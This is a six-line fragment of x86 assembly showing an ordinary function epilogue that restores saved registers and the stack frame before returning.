pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret